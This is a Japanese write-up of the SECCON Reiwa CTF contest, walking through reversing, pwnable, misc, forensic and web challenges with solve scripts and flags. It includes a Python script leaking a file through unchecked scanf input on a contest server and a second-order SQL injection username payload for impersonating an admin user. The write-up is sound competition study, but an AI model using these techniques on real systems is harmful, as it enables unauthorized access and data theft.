SECCON 令和CTF Write-up

平成30年4月30日23時から令和元年5月1日1時まで2時間のコンテスト……の予定が最初はスコアサーバーにまともに繋がらなかったから令和元年5月2日2時までの3時間のコンテストになった。

2時間（予定）で何をするのかと気になっていた。問題が少ない＆簡単なコンテストだった。

個人戦。私は、6問解いて510点9位。

<a href="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/650cc727-84f3-aa6c-d2e2-47fe466df248.png"><img width="320" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/650cc727-84f3-aa6c-d2e2-47fe466df248.png"></a> <a href="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/e35560b6-290d-9694-19b7-01ed838c8c86.png"><img width="320" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/e35560b6-290d-9694-19b7-01ed838c8c86.png"></a>

## Binary

### 和暦の流れ

> プログラム"reiwa"に隠されたフラグをゲットせよ。

32bit ELFバイナリ。入力された文字列を`S`として、`S[i]^A[i]=B[i]`が成り立つかをチェックしている。`A[i]^B[i]`を求めれば良い。下記のプログラムの`esp`は、問題バイナリをgdbで動かして、`$esp`をダンプした。Windows Subsystem for Linuxで32bitバイナリが動かなくてつらい。

```solve.py
esp = [
0x14, 0x8a, 0x04, 0x08, 0xa6, 0xd3, 0xff, 0xff,
0x71, 0xea, 0xb1, 0x07, 0x24, 0xd4, 0xff, 0xff,
0xa4, 0xd3, 0xff, 0xff, 0xe0, 0xf3, 0xfc, 0xf7,
0x00, 0x00, 0x00, 0x00, 0x01, 0x09, 0x16, 0x00,
0x00, 0x00, 0x53, 0x48, 0x4f, 0x57, 0x41, 0x00,
0x00, 0x00, 0x10, 0x00, 0x04, 0x10, 0x00, 0x48,
0x45, 0x49, 0x53, 0x45, 0x49, 0x00, 0x68, 0x6f,
0x67, 0x65, 0x68, 0x6f, 0x67, 0x65, 0x68, 0x6f,
0x67, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x0c,
0x74, 0x03, 0x6c, 0x1b, 0x68, 0x11, 0x7e, 0x13,
0x24, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x40, 0xd9, 0xff, 0xf7, 0xc2, 0x00, 0x57, 0x65,
]

print "".join(chr(esp[0x1c+i]^esp[0x22+i]) for i in range(5))
print "".join(chr(esp[0x28+i]^esp[0x2f+i]) for i in range(6))
```

```
>py -2 solve.py
RAYWA
HEYSAY
```

```shell-session
$ ./reiwa
Welcome to New Era! Please answer the name of New Era! RAYWA
Welcome to New Era! Please answer the name of Old Era! HEYSAY
SECCON{M-T-S-H-R}
```

`SECCON{M-T-S-H-R}`

### 令和コード

> Restruct by REIWA code

解けなかった。「Matsushita MN10300」とは……。

```shell-session
$ file runme
runme: ELF 32-bit LSB executable, Matsushita MN10300, version 1 (SYSV), statically linked, not stripped
```

追記。解いた。

`./configure --enable-targets=all --enable-64-bit-bfd` でビルドしたbinutilsのobjdumpならばディスアセンブルできる。

[全部入りbinutils \- 七誌の開発日記](http://7shi.hateblo.jp/entry/2013/07/30/011348)

```runme.asm
 :
000014fe <_random_init>:
    14fe:	fc 81 00 18 	mov	d0,(1800 <_gp>)
    1502:	00 00 
    1504:	de 00 00    	retf	[],0

00001507 <_get_random_value>:
    1507:	fc a4 00 18 	mov	(1800 <_gp>),d0
    150b:	00 00 
    150d:	81          	mov	d0,d1
    150e:	f8 c1 0d    	asl	13,d1
    1511:	f2 24       	xor	d1,d0
    1513:	81          	mov	d0,d1
    1514:	f8 c5 11    	lsr	17,d1
    1517:	f2 24       	xor	d1,d0
    1519:	81          	mov	d0,d1
    151a:	f8 c1 0f    	asl	15,d1
    151d:	f2 24       	xor	d1,d0
    151f:	fc 81 00 18 	mov	d0,(1800 <_gp>)
    1523:	00 00 
    1525:	de 00 00    	retf	[],0

00001528 <_decode>:
    1528:	cf 20       	movm	[a2],(sp)
    152a:	f8 fe f4    	add	-12,sp
    152d:	f1 e2       	mov	d0,a2
    152f:	f0 42       	movbu	(a2),d0
    1531:	a0 00       	cmp	0,d0
    1533:	c8 24       	beq	1557 <.L22>

00001535 <.L24>:
    1535:	cd d2 ff 00 	call	1507 <_get_random_value>,[],0
    1539:	00 

0000153a <_destruct_code>:
    153a:	22 fc       	add	-4,a2
    153c:	21 ff       	add	-1,a1
    153e:	22 ff       	add	-1,a2
    1540:	f8 cb 02    	asr	2,d3
    1543:	20 ff       	add	-1,a0

00001545 <_restruct_code>:
    1545:	cb          	nop	
    1546:	cb          	nop	
    1547:	cb          	nop	
    1548:	cb          	nop	
    1549:	cb          	nop	
    154a:	f0 46       	movbu	(a2),d1
    154c:	f2 21       	xor	d0,d1
    154e:	f0 56       	movbu	d1,(a2)
    1550:	49          	inc	a2
    1551:	f0 42       	movbu	(a2),d0
    1553:	a0 00       	cmp	0,d0
    1555:	c9 e0       	bne	1535 <.L24>

00001557 <.L22>:
    1557:	80 00       	mov	0,d0
    1559:	df 20 10    	ret	[a2],16

0000155c <_main>:
    155c:	cf 80       	movm	[d2],(sp)
    155e:	f8 fe f4    	add	-12,sp
    1561:	fc cc a2 8c 	mov	-1831433054,d0
    1565:	d6 92 
    1567:	cd 97 ff 00 	call	14fe <_random_init>,[],0
    156b:	00 
    156c:	fc cc b1 15 	mov	5553,d0
    1570:	00 00 
    1572:	cd 69 ff 00 	call	14db <_puts>,[],0
    1576:	00 
    1577:	fc cc 45 15 	mov	5445,d0
    157b:	00 00 
    157d:	cd 3a ff 00 	call	14b7 <_gets>,[],0
    1581:	00 
    1582:	fc ce 04 18 	mov	6148,d2
    1586:	00 00 
    1588:	88          	mov	d2,d0
    1589:	cd 9f ff 00 	call	1528 <_decode>,[],0
    158d:	00 
    158e:	fc cc c7 15 	mov	5575,d0
    1592:	00 00 
    1594:	cd 47 ff 00 	call	14db <_puts>,[],0
    1598:	00 
    1599:	88          	mov	d2,d0
    159a:	cd 41 ff 00 	call	14db <_puts>,[],0
    159e:	00 
    159f:	fc cc c5 15 	mov	5573,d0
    15a3:	00 00 
    15a5:	cd 36 ff 00 	call	14db <_puts>,[],0
    15a9:	00 
    15aa:	80 00       	mov	0,d0
    15ac:	cd b5 fe 00 	call	1461 <_exit>,[],0
    15b0:	00 
```

`_restruct_code`の`nop`の部分に`gets`でコードを読みこんで実行するようになっている。問題文に従って、`REIWA`を入力すると、

```
00001545 <_restruct_code>:
    1545:       52              inc4    a2
    1546:       45              inc     a1
    1547:       49              inc     a2
    1548:       57              asl2    d3
    1549:       41              inc     a0
    154a:       f0 46           movbu   (a2),d1
```

となる。実行環境が無いのでコードを読むとxorshiftで生成した値をxorする処理。ただし、[Wikipediaの実装例](https://ja.wikipedia.org/wiki/Xorshift)と異なり、最後の左シフトが5ではなく15になっている。

```solve.py
r = 0x92d68ca2
def get_random_value():
  global r
  r ^= r<<13&0xffffffff
  r ^= r>>17&0xffffffff
  r ^= r<<15&0xffffffff
  return r

d = [
  0x50, 0x77, 0x1f, 0xd3, 0x1e, 0x1f, 0xfb, 0xb4,
  0x20, 0x5e, 0xc5, 0xa5, 0xdc, 0x2e, 0xf7, 0x62,
  0xd3, 0xae, 0x16, 0x1e, 0x82, 0x44, 0x09, 0x72,
  0xba, 0x39]
for i in range(len(d)):
  d[i] ^= get_random_value()&0xff
print "".join(map(chr, d))
```

`SECCON{MachineCodeOfREIWA}`

### 零和アセンブリ

0 solvedだったので、無理だろうと思ってスルー。

## Pwnable

### 和暦

最後のほうで解き方が分かったけれど、間に合わなかった。悔しい。

> 西暦を和暦に変換してくれるよ
> nc wareki-o-reiwa.seccon.jp 36294

```
$ nc wareki-o-reiwa.seccon.jp 36294
西暦 -> 和暦 変換サービス
1: 和暦変換
2: フラグ読み込み
0: 終了
>> 2

オフセット >> 0
Done!

1: 和暦変換
2: フラグ読み込み
0: 終了
>> 1

西暦 >> 2020
変換しますか？(Yes:1, No:Others) >> 1
変換結果：令和 2 年

1: 和暦変換
2: フラグ読み込み
0: 終了
```

「フラグ読み込み」では`flag.txt`を指定されたオフセットに`fseek`してから、スタックに確保された辺数に読みこむ。「和暦変換」で未初期化変数を読み出すことができれば、それは`flag.txt`の一部。

元号のテーブルの範囲外アクセスとか、32bitと64bitの変数の取り違えとかを疑ったけれど、そんなことはなかった。

`scanf`の返り値をチェックしていないことが脆弱性。`scanf`に数値として解釈できない値を入力すると、引数に指定された変数に値は書き込まれない。ただし、例えば`abc`などと入力すると、その入力はそのまま次の`scanf`に回されて、「変換しますか？」が失敗してしまう。最初は意図が分からなかった「変換しますか？」はこのためだった。色々と試して、`-`に気が付いた。1回目の`scanf`は失敗するが、`-`は消費するので、2回目の`scanf`は普通に入力を受け付ける。

`flag.txt`には「天皇陛下のおことば」が載っていてサイズが大きく、30秒で切断されるので、一度では読み込めない。

```solve.py
from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("wareki-o-reiwa.seccon.jp", 36294))

def read():
  d = ""
  while not (len(d)>=3 and d[-3:]==">> "):
    d += s.recv(9999)
  return d

print read()
ans = ""
for i in range(750,804):
  s.send("2\n")
  print read()
  s.send("%s\n"%(i*8))
  print read()
  s.send("1\n")
  print read()
  s.send("-\n")
  print read()
  s.send("1\n")
  t = read()
  print t
  print i
  reiwa = int(t.split(" ")[1])
  print reiwa
  ans += ("%016x"%(reiwa+2018)).decode("hex")[::-1]

open("flag.txt","wb").write(ans)
```

```flag.txt
??は，幸せなことでした。象徴としての私を受け入れ，支えてくれた国民に，心から感謝します。
明日から始まる新しい令和の時代が，平和で実り多くあることを，皇后と共に心から願い，ここに我が国と世界の人々の安寧と幸せを祈ります。

http://www.kunaicho.go.jp/page/okotoba/detail/46#155

=====

FLAG : SECCON{WAREKI_g035_0n_f0r3v3r}
    
```

`SECCON{WAREKI_g035_0n_f0r3v3r}`

## Misc

### フラグの例は？

> 平成最後の最後、令和最初のSECCON CTFにようこそ。 フラグはSECCON{reiwa}です。

`SECCON{reiwa}`

### bREInWAck

> 元号が変わる。記号も変わる。
>
> 参考: https://ja.wikipedia.org/wiki/Brainfuck

```flag.bw
令和和和和和和和和和和和和和和和和「令和
和和和和令和和和和令和和和和和和和令和和
和和和和令和和平平平平平成」令和和和。令
和和和和和。成成。。平成成成成。成。令令
和和和和和和和和和和和。令和和。平平平和
和和和。令和和。和和和和。令令和和和和和
和和和和和和和。平平平和和和和和和和和和
和和和和。成成成成成成成成。令成成成成成
成成成。令令。成成成成成。成成成成成成。
令和。平平和和。令令令和和和和和和和和和
和。
```

Brainfuckの文字を置換したもの。`「`と`」`は`[`と`]`。最後にあるから、`。`は`.`。`和`は数が多いので`+`。次に多いのが`令`で、`>`だろうか。それなら、「令和」と「平成」の対応を考えれば、「平」が`<`、「成」が`-`。そんなにパターン数が多いわけでもないので、何も考えず全組み合わせを試せば良かったかもしれない。

```
>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.
```

適当なBrainfuckのインタプリタで実行するとフラグが出てくる。

`SECCON{bREIn_WAnic!}`

### 零は？

> nc zerois-o-reiwa.seccon.jp 23615

```shell-session
$ nc zerois-o-reiwa.seccon.jp 23615
[1/100]
0=53-?
?=53
[2/100]
0=41*?-902
?=
```

後のほうはこんな感じ。

```
[32/100]
0=18-26+2*?+2*5-88*12-96+39*61+1-98+41-7*60*77+84-20-43+32*3*85-78+74-66*15+23*16+77-21*61+24686
?=
```

2桁の整数の積の和差しか出てこない。最後の数字で辻褄を合わせている。最後の数字が`?`になることもあるので、2桁の整数を探索するだけではダメ。

右辺の`?`を置換して`eval`し、0になるか調べた。

```solve.py
from socket import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("zerois-o-reiwa.seccon.jp", 23615))

for _ in range(100):
  d = ""
  while not (len(d)>=2 and d[-2:]=="?="):
    d += s.recv(999)
  print d
  q = d.split("\n")[1][2:]
  a = 0
  while True:
    if eval(q.replace("?", str(a)))==0:
      break
    a += 1
  print a
  s.send(str(a)+"\n")
sleep(3)
d = s.recv(999)
print d
```

```
>py -2 solve.py
[1/100]
0=?-21
?=
21
[2/100]
0=?-31+13
?=
18
[3/100]
 :
[99/100]
0=30+29-45*68+73*86-78*94-87+21+71*78-96-93+44*45-31*8+6+68*46-37+27-87*85-42*66+75*50-37+60*12-81+63+62-16*54+55*48-8-96+18*78+43-45*94+21-57*53*39-61+81*25+39-7*51+59-78-9*70+45-1*92+57*3+79-97+20*50-36-66*45+9+78*95-7*14+51-37*39-0+25+53*65-64-60*90+48*22+44-78+87*41-18-?*0+95-95+5+110907
?=
0
[100/100]
0=60+22-11*48-40+54*95*26-20+74+80-82*4-20+7*90*47-7+2-63+47*89+14*94-68+58*35-45+74-97*77*31-64+69+3-84*52-56*36+10-47*44+38-83+77*13*80-95+66+43-38*41+6*93-43*42-55+55*93-32+86-69*83+43+88-75*49*92-1+49-20*95+39*14+84-65-19*86+45+52-50*55-6+6*82-22+61*71-27+48*34+74*75-11+67*12-22-0*?+20+324433
?=
0
Congratulations!
The flag is SECCON{REIWA_is_not_ZERO_IS}.
```

`SECCON{REIWA_is_not_ZERO_IS}`

### Forensic

> 見えないよ！


`SECCON{overlay_overlap_overera}`

<a href="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/f8e25880-d884-eadd-2f9f-0fe4222dfdd6.png"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/f8e25880-d884-eadd-2f9f-0fe4222dfdd6.png" width="320"></a>

元号発表記者会見ネタ。（Readerではない）Acrobatを持っていれば、「オブジェクトを編集」で動かせば良い。QRコードに「令和」と書かれていて読み込めず、「QRコードの解析は面倒だな……」と思ったけれど、官房長官を動かすと裏に切り抜かれた部分があった。

<a href="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/a1752af2-fb6f-0acf-49a6-5fa60a21c100.png"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/a1752af2-fb6f-0acf-49a6-5fa60a21c100.png" width="320"></a>

適当な画像編集ソフトで白い部分を透明にして重ねれば良い。ペイントでもできる（選択→透明の選択）。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/944b715a-049b-01ee-382c-13d3d56bc22c.png)

`SECCON{overlay_overlap_overera}`

## Web

### reiwaVote

> 「令和」を新元号として選出せよ！
>
> pass: notvirus

<a href="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/c60edf2f-2dc9-5e56-1560-5f8dde02812f.png"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/c60edf2f-2dc9-5e56-1560-5f8dde02812f.png" width="320"></a>

「投票する」をクリックすると、ブラウザで投票サイトが開かれる。SQL Injectionを起こすような、ユーザー名で登録し、ログインするとSecond-order SQL injection（？）が起こる。

ここからどうすれば良いのか悩んだ。Web問なのにローカルで動かす問題で、データベースなどブラウザ経由で取れるところにフラグが無い。

メモリをダンプして眺めていると、

```sql
UPDATE tblUsers SET Importance=(SELECT COUNT(*) FROM tblUsers) WHERE User='shinzo';

SELECT GengoId, EraE, EraJ, SUM(Importance) AS Votes FROM tblVotes v, tblUsers u, tblEras e WHERE v.UserId=u.Id AND v.GengoId=e.Id GROUP BY GengoId ORDER BY Votes DESC;
```

というSQL文を見つけた。`shinzo`というユーザーは、ユーザー数と同じだけの`Importance`を持っているらしい。

`shinzo`の`Id`は`1`らしく、

```
ID: a' UNION SELECT 1 --
Pass: hoge
```

でユーザーを作成してログインすると、`shinzo`になれて、「令和」に投票すると、「令和」がトップになる。

<a href="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/cdd06cda-5a14-1270-8760-ba11558eb360.png"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/cdd06cda-5a14-1270-8760-ba11558eb360.png" width="320"></a>

`SECCON{e32afd2cf7b98e41cf70fed}`